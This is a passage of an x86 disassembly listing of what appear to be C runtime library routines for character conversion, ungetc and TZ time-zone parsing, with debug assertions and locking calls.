loc_42E920: ; CODE XREF: sub_42E8B0+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42E8B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E930 proc near ; CODE XREF: sub_42E8B0+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_42E943
xor eax, eax
jmp loc_42E9CC
; ---------------------------------------------------------------------------
loc_42E943: ; CODE XREF: sub_42E930+Aj
cmp ds:dword_4EEA70, 0
jnz short loc_42E97A
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_42E96B
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42E9CC
; ---------------------------------------------------------------------------
loc_42E96B: ; CODE XREF: sub_42E930+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_42E9CC
; ---------------------------------------------------------------------------
loc_42E97A: ; CODE XREF: sub_42E930+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, ds:dword_44FD20
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, ds:dword_4EEA80
push ecx
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42E9B9
cmp [ebp+var_8], 0
jz short loc_42E9C9
loc_42E9B9: ; CODE XREF: sub_42E930+81j
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42E9CC
; ---------------------------------------------------------------------------
loc_42E9C9: ; CODE XREF: sub_42E930+87j
mov eax, [ebp+var_4]
loc_42E9CC: ; CODE XREF: sub_42E930+Ej
; sub_42E930+39j ...
mov esp, ebp
pop ebp
retn
sub_42E930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E9D0 proc near ; CODE XREF: sub_426BE0+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_42EA08
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42EA0F
; ---------------------------------------------------------------------------
loc_42EA08: ; CODE XREF: sub_42E9D0+18j
mov [ebp+var_4], 0
loc_42EA0F: ; CODE XREF: sub_42E9D0+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42EA50
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42EA38
push 13h
call sub_421B20
add esp, 4
jmp short loc_42EA43
; ---------------------------------------------------------------------------
loc_42EA38: ; CODE XREF: sub_42E9D0+5Aj
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
loc_42EA43: ; CODE XREF: sub_42E9D0+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42E9D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EA50 proc near ; CODE XREF: sub_42E9D0+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_42EA56: ; CODE XREF: sub_42EA50+3Aj
cmp ds:dword_44FD20, 1
jz short loc_42EA86
cmp ds:dword_44FD20, 2
jz short loc_42EA86
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset dword_43A618
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42EA86
int 3 ; Trap to Debugger
loc_42EA86: ; CODE XREF: sub_42EA50+Dj
; sub_42EA50+16j ...
xor eax, eax
test eax, eax
jnz short loc_42EA56
cmp [ebp+arg_4], 0
jz short loc_42EA98
cmp [ebp+arg_8], 0
jnz short loc_42EA9F
loc_42EA98: ; CODE XREF: sub_42EA50+40j
xor eax, eax
jmp loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EA9F: ; CODE XREF: sub_42EA50+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42EABE
cmp [ebp+arg_0], 0
jz short loc_42EAB7
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_42EAB7: ; CODE XREF: sub_42EA50+5Dj
xor eax, eax
jmp loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EABE: ; CODE XREF: sub_42EA50+57j
cmp ds:dword_4EEA70, 0
jnz short loc_42EAE4
cmp [ebp+arg_0], 0
jz short loc_42EADA
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_42EADA: ; CODE XREF: sub_42EA50+7Bj
mov eax, 1
jmp loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EAE4: ; CODE XREF: sub_42EA50+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42EB6D
cmp ds:dword_44FD20, 1
jle short loc_42EB40
mov edx, [ebp+arg_8]
cmp edx, ds:dword_44FD20
jl short loc_42EB40
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, ds:dword_44FD20
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, ds:dword_4EEA80
push ecx
call ds:dword_4F1370 ; MultiByteToWideChar
test eax, eax
jnz short loc_42EB66
loc_42EB40: ; CODE XREF: sub_42EA50+B7j
; sub_42EA50+C2j
mov edx, [ebp+arg_8]
cmp edx, ds:dword_44FD20
jb short loc_42EB56
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_42EB66
loc_42EB56: ; CODE XREF: sub_42EA50+F9j
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EB66: ; CODE XREF: sub_42EA50+EEj
; sub_42EA50+104j
mov eax, ds:dword_44FD20
jmp short loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EB6D: ; CODE XREF: sub_42EA50+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, ds:dword_4EEA80
push edx
call ds:dword_4F1370 ; MultiByteToWideChar
test eax, eax
jnz short loc_42EBA4
call sub_4267E0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42EBA9
; ---------------------------------------------------------------------------
loc_42EBA4: ; CODE XREF: sub_42EA50+142j
mov eax, 1
loc_42EBA9: ; CODE XREF: sub_42EA50+4Aj
; sub_42EA50+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42EA50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42EBB0 proc near ; CODE XREF: sub_426BE0+9D7p
; sub_426BE0+A65p ...
cmp cl, 40h
jnb short loc_42EBCA
cmp cl, 20h
jnb short loc_42EBC0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_42EBC0: ; CODE XREF: sub_42EBB0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_42EBCA: ; CODE XREF: sub_42EBB0+3j
xor eax, eax
xor edx, edx
retn
sub_42EBB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42EBD7: ; CODE XREF: seg000:0042EBFFj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_42EBFB
push offset dword_4394EC
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42EBFB
int 3 ; Trap to Debugger
loc_42EBFB: ; CODE XREF: seg000:0042EBDBj
; seg000:0042EBF8j
xor eax, eax
test eax, eax
jnz short loc_42EBD7
mov ecx, [ebp+0Ch]
push ecx
call sub_41F070
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42EC40
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_41F0E0
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EC40 proc near ; CODE XREF: sub_428080+11p
; seg000:0042EC15p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42EC47: ; CODE XREF: sub_42EC40+2Fj
cmp [ebp+arg_4], 0
jnz short loc_42EC6B
push offset dword_4394FC
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42EC6B
int 3 ; Trap to Debugger
loc_42EC6B: ; CODE XREF: sub_42EC40+Bj
; sub_42EC40+28j
xor eax, eax
test eax, eax
jnz short loc_42EC47
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_42ECA7
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_42ECAF
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_42ECA7
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_42ECAF
loc_42ECA7: ; CODE XREF: sub_42EC40+3Bj
; sub_42EC40+58j
or eax, 0FFFFFFFFh
jmp loc_42ED77
; ---------------------------------------------------------------------------
loc_42ECAF: ; CODE XREF: sub_42EC40+48j
; sub_42EC40+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_42ECC4
mov eax, [ebp+var_4]
push eax
call sub_42E200
add esp, 4
loc_42ECC4: ; CODE XREF: sub_42EC40+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_42ECEF
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_42ECE2
or eax, 0FFFFFFFFh
jmp loc_42ED77
; ---------------------------------------------------------------------------
loc_42ECE2: ; CODE XREF: sub_42EC40+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_42ECEF: ; CODE XREF: sub_42EC40+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_42ED2D
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_42ED2B
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_42ED77
; ---------------------------------------------------------------------------
loc_42ED2B: ; CODE XREF: sub_42EC40+D7j
jmp short loc_42ED44
; ---------------------------------------------------------------------------
loc_42ED2D: ; CODE XREF: sub_42EC40+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_42ED44: ; CODE XREF: sub_42EC40:loc_42ED2Bj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_42ED77: ; CODE XREF: sub_42EC40+6Aj
; sub_42EC40+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42EC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ED80 proc near ; CODE XREF: sub_4280E0+8Ap
; sub_434B40:loc_43505Bp
push ebp
mov ebp, esp
cmp ds:dword_4EEC78, 0
jnz short loc_42EDBB
push 0Bh
call sub_421A80
add esp, 4
cmp ds:dword_4EEC78, 0
jnz short loc_42EDB1
call loc_42EDE0
mov eax, ds:dword_4EEC78
add eax, 1
mov ds:dword_4EEC78, eax
loc_42EDB1: ; CODE XREF: sub_42ED80+1Dj
push 0Bh
call sub_421B20
add esp, 4
loc_42EDBB: ; CODE XREF: sub_42ED80+Aj
pop ebp
retn
sub_42ED80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_421A80
add esp, 4
call loc_42EDE0
push 0Bh
call sub_421B20
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_42EDE0: ; CODE XREF: sub_42ED80+1Fp
; seg000:0042EDCDp
push ebp
mov ebp, esp
sub esp, 0Ch
mov dword ptr [ebp-4], 0
push 0Ch
call sub_421A80
add esp, 4
mov ds:dword_4EEBC0, 0
mov ds:dword_450738, 0FFFFFFFFh
mov eax, ds:dword_450738
mov ds:dword_450728, eax
push offset aTz ; "TZ"
call sub_432F50
add esp, 4
mov [ebp-0Ch], eax
cmp dword ptr [ebp-0Ch], 0
jnz loc_42EF63
push 0Ch
call sub_421B20
add esp, 4
push offset dword_4EEBC8
call near ptr 3D0000h
call near ptr 1042E6CBh
test [ecx], dl
add [eax], eax
add bh, al
add eax, offset dword_4EEBC0
add [eax], eax
; ---------------------------------------------------------------------------
db 2 dup(0), 8Bh
; ---------------------------------------------------------------------------
or eax, offset dword_4EEBC8
imul ecx, 3Ch
mov ds:dword_450690, ecx
xor edx, edx
mov dx, ds:word_4EEC0E
test edx, edx
jz short loc_42EE89
mov eax, ds:dword_4EEC1C
imul eax, 3Ch
mov ecx, ds:dword_450690
add ecx, eax
mov ds:dword_450690, ecx
loc_42EE89: ; CODE XREF: seg000:0042EE71j
xor edx, edx
mov dx, ds:word_4EEC62
test edx, edx
jz short loc_42EEBE
cmp ds:dword_4EEC70, 0
jz short loc_42EEBE
mov ds:dword_450694, 1
mov eax, ds:dword_4EEC70
sub eax, ds:dword_4EEC1C
imul eax, 3Ch
mov ds:dword_450698, eax
jmp short loc_42EED2
; ---------------------------------------------------------------------------
loc_42EEBE: ; CODE XREF: seg000:0042EE94j
; seg000:0042EE9Dj
mov ds:dword_450694, 0
mov ds:dword_450698, 0
loc_42EED2: ; CODE XREF: seg000:0042EEBCj
lea ecx, [ebp-8]
push ecx
push 0
push 3Fh
mov edx, ds:off_45071C
push edx
push 0FFFFFFFFh
push offset dword_4EEBCC
push 220h
mov eax, ds:dword_4EEA80
push eax
call ds:dword_4F1384 ; WideCharToMultiByte
test eax, eax
jz short loc_42EF0F
cmp dword ptr [ebp-8], 0
jnz short loc_42EF0F
mov ecx, ds:off_45071C
mov byte ptr [ecx+3Fh], 0
jmp short loc_42EF18
; ---------------------------------------------------------------------------
loc_42EF0F: ; CODE XREF: seg000:0042EEFBj
; seg000:0042EF01j
mov edx, ds:off_45071C
mov byte ptr [edx], 0
loc_42EF18: ; CODE XREF: seg000:0042EF0Dj
lea eax, [ebp-8]
push eax
push 0
push 3Fh
mov ecx, ds:off_450720
push ecx
push 0FFFFFFFFh
push offset dword_4EEC20
push 220h
mov edx, ds:dword_4EEA80
push edx
call ds:dword_4F1384 ; WideCharToMultiByte
test eax, eax
jz short loc_42EF55
cmp dword ptr [ebp-8], 0
jnz short loc_42EF55
mov eax, ds:off_450720
mov byte ptr [eax+3Fh], 0
jmp short loc_42EF5E
; ---------------------------------------------------------------------------
loc_42EF55: ; CODE XREF: seg000:0042EF42j
; seg000:0042EF48j
mov ecx, ds:off_450720
mov byte ptr [ecx], 0
loc_42EF5E: ; CODE XREF: seg000:0042EF53j
jmp loc_42F187
; ---------------------------------------------------------------------------
loc_42EF63: ; CODE XREF: seg000:0042EE29j
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42EF8D
cmp ds:dword_4EEC74, 0
jz short loc_42EF9C
mov ecx, ds:dword_4EEC74
push ecx
mov edx, [ebp-0Ch]
push edx
call sub_41D900
add esp, 8
test eax, eax
jnz short loc_42EF9C
loc_42EF8D: ; CODE XREF: seg000:0042EF6Bj
push 0Ch
call sub_421B20
add esp, 4
jmp loc_42F187
; ---------------------------------------------------------------------------
loc_42EF9C: ; CODE XREF: seg000:0042EF74j
; seg000:0042EF8Bj
push 2
mov eax, ds:dword_4EEC74
push eax
call sub_41B8F0
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp-0Ch]
push ecx
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41AE60
add esp, 10h
mov ds:dword_4EEC74, eax
cmp ds:dword_4EEC74, 0
jnz short loc_42EFED
push 0Ch
call sub_421B20
add esp, 4
jmp loc_42F187
; ---------------------------------------------------------------------------
loc_42EFED: ; CODE XREF: seg000:0042EFDCj
mov edx, [ebp-0Ch]
push edx
mov eax, ds:dword_4EEC74
push eax
call sub_41E550
add esp, 8
push 0Ch
call sub_421B20
add esp, 4
push 3
mov ecx, [ebp-0Ch]
push ecx
mov edx, ds:off_45071C
push edx
call sub_41D800
add esp, 0Ch
mov eax, ds:off_45071C
mov byte ptr [eax+3], 0
mov ecx, [ebp-0Ch]
add ecx, 3
mov [ebp-0Ch], ecx
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_42F04D
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
loc_42F04D: ; CODE XREF: seg000:0042F039j
mov eax, [ebp-0Ch]
push eax
call sub_41D460
add esp, 4
imul eax, 0E10h
mov ds:dword_450690, eax
loc_42F064: ; CODE XREF: seg000:0042F08Ej
mov ecx, [ebp-0Ch]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_42F085
mov eax, [ebp-0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42F090
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42F090
loc_42F085: ; CODE XREF: seg000:0042F06Dj
mov ecx, [ebp-0Ch]
add ecx, 1
mov [ebp-0Ch], ecx
jmp short loc_42F064
; ---------------------------------------------------------------------------
loc_42F090: ; CODE XREF: seg000:0042F078j
; seg000:0042F083j
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_42F135
mov ecx, [ebp-0Ch]
add ecx, 1
mov [ebp-0Ch], ecx
mov edx, [ebp-0Ch]
push edx
call sub_41D460
add esp, 4
imul eax, 3Ch
mov ecx, ds:dword_450690
add ecx, eax
mov ds:dword_450690, ecx
loc_42F0C5: ; CODE XREF: seg000:0042F0E4j
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42F0E6
mov ecx, [ebp-0Ch]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42F0E6
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
jmp short loc_42F0C5
; ---------------------------------------------------------------------------
loc_42F0E6: ; CODE XREF: seg000:0042F0CEj
; seg000:0042F0D9j
mov ecx, [ebp-0Ch]
movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_42F135
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
mov ecx, [ebp-0Ch]
push ecx
call sub_41D460
add esp, 4
mov edx, ds:dword_450690
add edx, eax
mov ds:dword_450690, edx
loc_42F114: ; CODE XREF: seg000:0042F133j
mov eax, [ebp-0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42F135
mov edx, [ebp-0Ch]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42F135
mov ecx, [ebp-0Ch]
add ecx, 1
mov [ebp-0Ch], ecx
jmp short loc_42F114
; ---------------------------------------------------------------------------
loc_42F135: ; CODE XREF: seg000:0042F099j
; seg000:0042F0EFj ...
cmp dword ptr [ebp-4], 0
jz short loc_42F149
mov edx, ds:dword_450690
neg edx
mov ds:dword_450690, edx
loc_42F149: ; CODE XREF: seg000:0042F139j
mov eax, [ebp-0Ch]
movsx ecx, byte ptr [eax]
mov ds:dword_450694, ecx
cmp ds:dword_450694, 0
jz short loc_42F17E
push 3
mov edx, [ebp-0Ch]
push edx
mov eax, ds:off_450720
push eax
call sub_41D800
add esp, 0Ch
mov ecx, ds:off_450720
mov byte ptr [ecx+3], 0
jmp short loc_42F187
; ---------------------------------------------------------------------------
loc_42F17E: ; CODE XREF: seg000:0042F15Cj
mov edx, ds:off_450720
mov byte ptr [edx], 0
loc_42F187: ; CODE XREF: seg000:loc_42EF5Ej
; seg000:0042EF97j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F190 proc near ; CODE XREF: sub_4280E0+CFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_421A80
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_42F1C0
add esp, 4
mov [ebp+var_4], eax
push 0Bh
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42F190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F1C0 proc near ; CODE XREF: sub_42F190+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_450694, 0
jnz short loc_42F1D4
xor eax, eax
jmp loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F1D4: ; CODE XREF: sub_42F1C0+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, ds:dword_450728
jnz short loc_42F1F4
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, ds:dword_450738
jz loc_42F3BB
loc_42F1F4: ; CODE XREF: sub_42F1C0+20j
cmp ds:dword_4EEBC0, 0
jz loc_42F375
xor ecx, ecx
mov cx, ds:word_4EEC60
test ecx, ecx
jnz short loc_42F269
xor edx, edx
mov dx, ds:word_4EEC6E
push edx
xor eax, eax
mov ax, ds:word_4EEC6C
push eax
xor ecx, ecx
mov cx, ds:word_4EEC6A
push ecx
xor edx, edx
mov dx, ds:word_4EEC68
push edx
push 0
xor eax, eax
mov ax, ds:word_4EEC64
push eax
xor ecx, ecx
mov cx, ds:word_4EEC66
push ecx
xor edx, edx
mov dx, ds:word_4EEC62
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_42F4C0
add esp, 2Ch
jmp short loc_42F2BA
; ---------------------------------------------------------------------------
loc_42F269: ; CODE XREF: sub_42F1C0+4Cj
xor edx, edx
mov dx, ds:word_4EEC6E
push edx
xor eax, eax
mov ax, ds:word_4EEC6C
push eax
xor ecx, ecx
mov cx, ds:word_4EEC6A
push ecx
xor edx, edx
mov dx, ds:word_4EEC68
push edx
xor eax, eax
mov ax, ds:word_4EEC66
push eax
push 0
push 0
xor ecx, ecx
mov cx, ds:word_4EEC62
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_42F4C0
add esp, 2Ch
loc_42F2BA: ; CODE XREF: sub_42F1C0+A7j
xor ecx, ecx
mov cx, ds:word_4EEC0C
test ecx, ecx
jnz short loc_42F322
xor edx, edx
mov dx, ds:word_4EEC1A
push edx
xor eax, eax
mov ax, ds:word_4EEC18
push eax
xor ecx, ecx
mov cx, ds:word_4EEC16
push ecx
xor edx, edx
mov dx, ds:word_4EEC14
push edx
push 0
xor eax, eax
mov ax, ds:word_4EEC10
push eax
xor ecx, ecx
mov cx, ds:word_4EEC12
push ecx
xor edx, edx
mov dx, ds:word_4EEC0E
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42F4C0
add esp, 2Ch
jmp short loc_42F373
; ---------------------------------------------------------------------------
loc_42F322: ; CODE XREF: sub_42F1C0+105j
xor edx, edx
mov dx, ds:word_4EEC1A
push edx
xor eax, eax
mov ax, ds:word_4EEC18
push eax
xor ecx, ecx
mov cx, ds:word_4EEC16
push ecx
xor edx, edx
mov dx, ds:word_4EEC14
push edx
xor eax, eax
mov ax, ds:word_4EEC12
push eax
push 0
push 0
xor ecx, ecx
mov cx, ds:word_4EEC0E
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_42F4C0
add esp, 2Ch
loc_42F373: ; CODE XREF: sub_42F1C0+160j
jmp short loc_42F3BB
; ---------------------------------------------------------------------------
loc_42F375: ; CODE XREF: sub_42F1C0+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_42F4C0
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42F4C0
add esp, 2Ch
loc_42F3BB: ; CODE XREF: sub_42F1C0+2Ej
; sub_42F1C0:loc_42F373j
mov edx, ds:dword_45072C
cmp edx, ds:dword_45073C
jge short loc_42F414
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_45072C
jl short loc_42F3E5
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_45073C
jle short loc_42F3EC
loc_42F3E5: ; CODE XREF: sub_42F1C0+215j
xor eax, eax
jmp loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F3EC: ; CODE XREF: sub_42F1C0+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_45072C
jle short loc_42F412
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_45073C
jge short loc_42F412
mov eax, 1
jmp loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F412: ; CODE XREF: sub_42F1C0+238j
; sub_42F1C0+246j
jmp short loc_42F457
; ---------------------------------------------------------------------------
loc_42F414: ; CODE XREF: sub_42F1C0+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_45073C
jl short loc_42F430
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_45072C
jle short loc_42F437
loc_42F430: ; CODE XREF: sub_42F1C0+260j
mov eax, 1
jmp short loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F437: ; CODE XREF: sub_42F1C0+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_45073C
jle short loc_42F457
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_45072C
jge short loc_42F457
xor eax, eax
jmp short loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F457: ; CODE XREF: sub_42F1C0:loc_42F412j
; sub_42F1C0+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_45072C
jnz short loc_42F4A2
mov eax, [ebp+var_4]
cmp eax, ds:dword_450730
jl short loc_42F49E
mov eax, 1
jmp short loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F49E: ; CODE XREF: sub_42F1C0+2D5j
xor eax, eax
jmp short loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F4A2: ; CODE XREF: sub_42F1C0+2CAj
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_450740
jge short loc_42F4B4
mov eax, 1
jmp short loc_42F4B6
; ---------------------------------------------------------------------------
loc_42F4B4: ; CODE XREF: sub_42F1C0+2EBj
xor eax, eax
loc_42F4B6: ; CODE XREF: sub_42F1C0+Fj
; sub_42F1C0+227j ...
mov esp, ebp
pop ebp
retn
sub_42F1C0 endp
; ---------------------------------------------------------------------------
align 10h
